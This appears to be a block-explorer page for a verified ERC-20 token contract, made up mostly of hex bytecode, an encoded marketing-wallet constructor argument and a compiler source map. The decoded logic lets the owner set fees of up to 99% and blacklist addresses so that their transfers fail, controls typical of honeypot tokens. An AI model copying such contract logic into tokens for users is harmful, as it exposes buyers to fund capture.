d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238490614574565b60405180910390fd5b5b5b5b600061239b30611098565b90506000600b5482101590508080156123c05750600d60029054906101000a900460ff165b80156123d95750600860149054906101000a900460ff16155b801561242f5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124855750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124db5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251f576001600860146101000a81548160ff021916908315150217905550612503612d28565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125d55750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ed5750600d60019054906101000a900460ff16155b1561264e57600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561264957600080fd5b600090505b6000811561287c576001600d60016101000a81548160ff021916908315150217905550601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126cc57506000601254115b15612766576126f960646126eb60125488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b90506012546014548261270c9190613cb1565b6127169190613d22565b6016600082825461272791906138be565b925050819055506012546013548261273f9190613cb1565b6127499190613d22565b6015600082825461275a91906138be565b92505081905550612858565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127c157506000601054115b15612857576127ee60646127e060105488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b9050601054600e54826128019190613cb1565b61280b9190613d22565b6016600082825461281c91906138be565b92505081905550601054600f54826128349190613cb1565b61283e9190613d22565b6015600082825461284f91906138be565b925050819055505b5b600081111561286d5761286c873083612aa9565b5b80856128799190614594565b94505b612887878787612aa9565b601154601281905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612aa4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f9061463a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e906146cc565b60405180910390fd5b612b92838383612f61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061475e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cab91906138be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0f919061361a565b60405180910390a3612d22848484612f66565b50505050565b6000612d3330611098565b90506000601554601654612d4791906138be565b9050600080831480612d595750600082145b15612d6657505050612f33565b6014600b54612d759190613cb1565b831115612d8e576014600b54612d8b9190613cb1565b92505b600060028360165486612da19190613cb1565b612dab9190613d22565b612db59190613d22565b90506000612dcc8286612f6b90919063ffffffff16565b90506000479050612ddc82612f81565b6000612df18247612f6b90919063ffffffff16565b90506000612e1c87612e0e60155485612f3590919063ffffffff16565b612f4b90919063ffffffff16565b905060008183612e2c9190614594565b905060006016819055506000601581905550600086118015612e4e5750600081115b15612e9b57612e5d86826131be565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601654604051612e929392919061477e565b60405180910390a15b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612ee1906147e6565b60006040518083038185875af1925050503d8060008114612f1e576040519150601f19603f3d011682016040523d82523d6000602084013e612f23565b606091505b5050809750505050505050505050505b565b60008183612f439190613cb1565b905092915050565b60008183612f599190613d22565b905092915050565b505050565b505050565b60008183612f799190614594565b905092915050565b6000600267ffffffffffffffff811115612f9e57612f9d6147fb565b5b604051908082528060200260200182016040528015612fcc5781602001602082028036833780820191505090505b5090503081600081518110612fe457612fe36139be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad919061483f565b816001815181106130c1576130c06139be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613126307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c9a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613188959493929190614965565b600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b505050505050565b6131e9307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c9a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613250969594939291906149bf565b60606040518083038185885af115801561326e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132939190614a35565b5050505050565b600080fd5b600080fd5b6000819050919050565b6132b7816132a4565b81146132c257600080fd5b50565b6000813590506132d4816132ae565b92915050565b600080604083850312156132f1576132f061329a565b5b60006132ff858286016132c5565b9250506020613310858286016132c5565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613354578082015181840152602081019050613339565b60008484015250505050565b6000601f19601f8301169050919050565b600061337c8261331a565b6133868185613325565b9350613396818560208601613336565b61339f81613360565b840191505092915050565b600060208201905081810360008301526133c48184613371565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133f7826133cc565b9050919050565b613407816133ec565b811461341257600080fd5b50565b600081359050613424816133fe565b92915050565b600080604083850312156134415761344061329a565b5b600061344f85828601613415565b9250506020613460858286016132c5565b9150509250929050565b60008115159050919050565b61347f8161346a565b82525050565b600060208201905061349a6000830184613476565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126134c5576134c46134a0565b5b8235905067ffffffffffffffff8111156134e2576134e16134a5565b5b6020830191508360208202830111156134fe576134fd6134aa565b5b9250929050565b61350e8161346a565b811461351957600080fd5b50565b60008135905061352b81613505565b92915050565b60008060006040848603121561354a5761354961329a565b5b600084013567ffffffffffffffff8111156135685761356761329f565b5b613574868287016134af565b935093505060206135878682870161351c565b9150509250925092565b6000819050919050565b60006135b66135b16135ac846133cc565b613591565b6133cc565b9050919050565b60006135c88261359b565b9050919050565b60006135da826135bd565b9050919050565b6135ea816135cf565b82525050565b600060208201905061360560008301846135e1565b92915050565b613614816132a4565b82525050565b600060208201905061362f600083018461360b565b92915050565b60008060006060848603121561364e5761364d61329a565b5b600061365c86828701613415565b935050602061366d86828701613415565b925050604061367e868287016132c5565b9150509250925092565b6000806000604084860312156136a1576136a061329a565b5b600084013567ffffffffffffffff8111156136bf576136be61329f565b5b6136cb868287016134af565b935093505060206136de868287016132c5565b9150509250925092565b6136f1816133ec565b82525050565b600060208201905061370c60008301846136e8565b92915050565b600060ff82169050919050565b61372881613712565b82525050565b6000602082019050613743600083018461371f565b92915050565b60006020828403121561375f5761375e61329a565b5b600061376d84828501613415565b91505092915050565b6000806040838503121561378d5761378c61329a565b5b600061379b85828601613415565b92505060206137ac8582860161351c565b9150509250929050565b6000602082840312156137cc576137cb61329a565b5b60006137da848285016132c5565b91505092915050565b600080604083850312156137fa576137f961329a565b5b600061380885828601613415565b925050602061381985828601613415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613859602083613325565b915061386482613823565b602082019050919050565b600060208201905081810360008301526138888161384c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c9826132a4565b91506138d4836132a4565b92508282019050808211156138ec576138eb61388f565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000613928601d83613325565b9150613933826138f2565b602082019050919050565b600060208201905081810360008301526139578161391b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139a557607f821691505b6020821081036139b8576139b761395e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006139f8826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613a2a57613a2961388f565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a91602883613325565b9150613a9c82613a35565b604082019050919050565b60006020820190508181036000830152613ac081613a84565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613afd601d83613325565b9150613b0882613ac7565b602082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613b8a57808604811115613b6657613b6561388f565b5b6001851615613b755780820291505b8081029050613b8385613b33565b9450613b4a565b94509492505050565b600082613ba35760019050613c5f565b81613bb15760009050613c5f565b8160018114613bc75760028114613bd157613c00565b6001915050613c5f565b60ff841115613be357613be261388f565b5b8360020a915084821115613bfa57613bf961388f565b5b50613c5f565b5060208310610133831016604e8410600b8410161715613c355782820a905083811115613c3057613c2f61388f565b5b613c5f565b613c428484846001613b40565b92509050818404811115613c5957613c5861388f565b5b81810290505b9392505050565b6000613c71826132a4565b9150613c7c83613712565b9250613ca97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b6000613cbc826132a4565b9150613cc7836132a4565b9250828202613cd5816132a4565b91508282048414831517613cec57613ceb61388f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2d826132a4565b9150613d38836132a4565b925082613d4857613d47613cf3565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613daf602183613325565b9150613dba82613d53565b604082019050919050565b60006020820190508181036000830152613dde81613da2565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e41602483613325565b9150613e4c82613de5565b604082019050919050565b60006020820190508181036000830152613e7081613e34565b9050919050565b6000613e82826132a4565b9150613e8d836132a4565b9250613eba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613f1e603983613325565b9150613f2982613ec2565b604082019050919050565b60006020820190508181036000830152613f4d81613f11565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613fb0602583613325565b9150613fbb82613f54565b604082019050919050565b60006020820190508181036000830152613fdf81613fa3565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614042603583613325565b915061404d82613fe6565b604082019050919050565b6000602082019050818103600083015261407181614035565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006140d4603483613325565b91506140df82614078565b604082019050919050565b60006020820190508181036000830152614103816140c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614166602683613325565b91506141718261410a565b604082019050919050565b6000602082019050818103600083015261419581614159565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006141f8602483613325565b91506142038261419c565b604082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061428a602283613325565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b60006142f6601e83613325565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b6000614362601c83613325565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006143ce601683613325565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614460603583613325565b915061446b82614404565b604082019050919050565b6000602082019050818103600083015261448f81614453565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006144cc601383613325565b91506144d782614496565b602082019050919050565b600060208201905081810360008301526144fb816144bf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061455e603683613325565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b600061459f826132a4565b91506145aa836132a4565b92508282039050818111156145c2576145c161388f565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614624602583613325565b915061462f826145c8565b604082019050919050565b6000602082019050818103600083015261465381614617565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146b6602383613325565b91506146c18261465a565b604082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614748602683613325565b9150614753826146ec565b604082019050919050565b600060208201905081810360008301526147778161473b565b9050919050565b6000606082019050614793600083018661360b565b6147a0602083018561360b565b6147ad604083018461360b565b949350505050565b600081905092915050565b50565b60006147d06000836147b5565b91506147db826147c0565b600082019050919050565b60006147f1826147c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614839816133fe565b92915050565b6000602082840312156148555761485461329a565b5b60006148638482850161482a565b91505092915050565b6000819050919050565b600061489161488c6148878461486c565b613591565b6132a4565b9050919050565b6148a181614876565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148dc816133ec565b82525050565b60006148ee83836148d3565b60208301905092915050565b6000602082019050919050565b6000614912826148a7565b61491c81856148b2565b9350614927836148c3565b8060005b8381101561495857815161493f88826148e2565b975061494a836148fa565b92505060018101905061492b565b5085935050505092915050565b600060a08201905061497a600083018861360b565b6149876020830187614898565b81810360408301526149998186614907565b90506149a860608301856136e8565b6149b5608083018461360b565b9695505050505050565b600060c0820190506149d460008301896136e8565b6149e1602083018861360b565b6149ee6040830187614898565b6149fb6060830186614898565b614a0860808301856136e8565b614a1560a083018461360b565b979650505050505050565b600081519050614a2f816132ae565b92915050565b600080600060608486031215614a4e57614a4d61329a565b5b6000614a5c86828701614a20565b9350506020614a6d86828701614a20565b9250506040614a7e86828701614a20565b915050925092509256fea264697066735822122017155f1cb22a0685937b8fc44fb0bc9aea72b6cd092838817f29e4a9a94d610664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000c6fae7109e8d4fc8593c9c1f90373894c51ac51b

-----Decoded View---------------
Arg [0] : marketing_ (address): 0xc6faE7109e8D4FC8593c9C1f90373894C51aC51b

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c6fae7109e8d4fc8593c9c1f90373894c51ac51b


Deployed Bytecode Sourcemap

5807:12541:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10703:380;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1771:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2684:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11624:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5883:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2091:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2861:492;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9118:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6032:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1991:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3782:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5997:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12395:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11091:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6516:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6338:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2207:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;856:112:2;;;;;;;;;;;;;:::i;:::-;;10410:167:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6124:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;633:87:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1879:104:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9349:548;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11838:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3361:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6308:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2342:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10585:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6276:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11434:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9019:91;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6161:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9905:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6446:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2525:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6203:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;976:201:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6243:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10703:380;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10847:13:0::1;10828:16;:32;;;;10890:13;10871:16;:32;;;;10949:16;;10930;;:35;;;;:::i;:::-;10914:13;:51;;;;10990:13;;10976:11;:27;;;;11039:2;11022:13;;:19;;11014:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;10703:380:::0;;:::o;1771:100::-;1825:13;1858:5;1851:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1771:100;:::o;2684:169::-;2767:4;2784:39;2793:12;:10;:12::i;:::-;2807:7;2816:6;2784:8;:39::i;:::-;2841:4;2834:11;;2684:169;;;;:::o;11624:202::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11716:9:0::1;11711:108;11735:8;;:15;;11731:1;:19;11711:108;;;11804:3;11772:16;:29;11789:8;;11798:1;11789:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11772:29;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;11752:3;;;;;:::i;:::-;;;;11711:108;;;;11624:202:::0;;;:::o;5883:51::-;;;:::o;2091:108::-;2152:7;2179:12;;2172:19;;2091:108;:::o;2861:492::-;3001:4;3018:36;3028:6;3036:9;3047:6;3018:9;:36::i;:::-;3067:24;3094:11;:19;3106:6;3094:19;;;;;;;;;;;;;;;:33;3114:12;:10;:12::i;:::-;3094:33;;;;;;;;;;;;;;;;3067:60;;3166:6;3146:16;:26;;3138:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;3253:57;3262:6;3270:12;:10;:12::i;:::-;3303:6;3284:16;:25;3253:8;:57::i;:::-;3341:4;3334:11;;;2861:492;;;;;:::o;9118:223::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9215:9:0::1;9210:124;9234:10;;:17;;9230:1;:21;9210:124;;;9302:10;;9313:1;9302:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9278:44;;9287:13;;;;;;;;;;;9278:44;;;9317:4;9278:44;;;;;;:::i;:::-;;;;;;;;9253:3;;;;;:::i;:::-;;;;9210:124;;;;9118:223:::0;;;:::o;6032:53::-;6078:6;6032:53;:::o;1991:92::-;2049:5;2074:1;2067:8;;1991:92;:::o;3782:215::-;3870:4;3887:80;3896:12;:10;:12::i;:::-;3910:7;3956:10;3919:11;:25;3931:12;:10;:12::i;:::-;3919:25;;;;;;;;;;;;;;;:34;3945:7;3919:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;3887:8;:80::i;:::-;3985:4;3978:11;;3782:215;;;;:::o;5997:28::-;;;;;;;;;;;;;:::o;12395:126::-;12461:4;12485:19;:28;12505:7;12485:28;;;;;;;;;;;;;;;;;;;;;;;;;12478:35;;12395:126;;;:::o;11091:335::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11233:13:0::1;11215:15;:31;;;;11275:13;11257:15;:31;;;;11332:15;;11314;;:33;;;;:::i;:::-;11299:12;:48;;;;11382:2;11366:12;;:18;;11358:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;11091:335:::0;;:::o;6516:28::-;;;;:::o;6338:23::-;;;;;;;;;;;;;:::o;2207:127::-;2281:7;2308:9;:18;2318:7;2308:18;;;;;;;;;;;;;;;;2301:25;;2207:127;;;:::o;856:112:2:-;779:12;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:30:::1;957:1;930:18;:30::i;:::-;856:112::o:0;10410:167:0:-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10565:4:0::1;10523:31;:39;10555:6;10523:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;10410:167:::0;;:::o;6124:30::-;;;;;;;;;;;;;:::o;633:87:2:-;679:7;706:6;;;;;;;;;;;699:13;;633:87;:::o;1879:104:0:-;1935:13;1968:7;1961:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1879:104;:::o;9349:548::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9530:10:0::1;:8;:10::i;:::-;9526:2;:14;;;;:::i;:::-;9518:4;9513:1;9497:13;:11;:13::i;:::-;:17;;;;:::i;:::-;9496:26;;;;:::i;:::-;9495:45;;;;:::i;:::-;9482:9;:58;;9460:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;9688:10;:8;:10::i;:::-;9684:2;:14;;;;:::i;:::-;9676:4;9671:1;9655:13;:11;:13::i;:::-;:17;;;;:::i;:::-;9654:26;;;;:::i;:::-;9653:45;;;;:::i;:::-;9634:15;:64;;9612:150;;;;;;;;;;;;:::i;:::-;;;;;;;;;9812:10;:8;:10::i;:::-;9808:2;:14;;;;:::i;:::-;9804:2;:18;;;;:::i;:::-;9785:15;:38;;;;:::i;:::-;9773:9;:50;;;;9878:10;:8;:10::i;:::-;9874:2;:14;;;;:::i;:::-;9870:2;:18;;;;:::i;:::-;9857:9;:32;;;;:::i;:::-;9834:20;:55;;;;9349:548:::0;;:::o;11838:353::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11982:13:0::1;;;;;;;;;;;11974:21;;:4;:21;;::::0;11952:128:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;12091:38;12117:4;12123:5;12091:25;:38::i;:::-;12140:41;12169:4;12175:5;12140:28;:41::i;:::-;11838:353:::0;;:::o;3361:413::-;3454:4;3471:24;3498:11;:25;3510:12;:10;:12::i;:::-;3498:25;;;;;;;;;;;;;;;:34;3524:7;3498:34;;;;;;;;;;;;;;;;3471:61;;3571:15;3551:16;:35;;3543:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;3664:67;3673:12;:10;:12::i;:::-;3687:7;3715:15;3696:16;:34;3664:8;:67::i;:::-;3762:4;3755:11;;;3361:413;;;;:::o;6308:23::-;;;;;;;;;;;;;:::o;2342:175::-;2428:4;2445:42;2455:12;:10;:12::i;:::-;2469:9;2480:6;2445:9;:42::i;:::-;2505:4;2498:11;;2342:175;;;;:::o;10585:110::-;10647:4;10668:16;:19;10685:1;10668:19;;;;;;;;;;;;;;;;;;;;;;;;;10661:26;;10585:110;;;:::o;6276:25::-;;;;;;;;;;;;;:::o;11434:182::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11550:8:0::1;11519:19;:28;1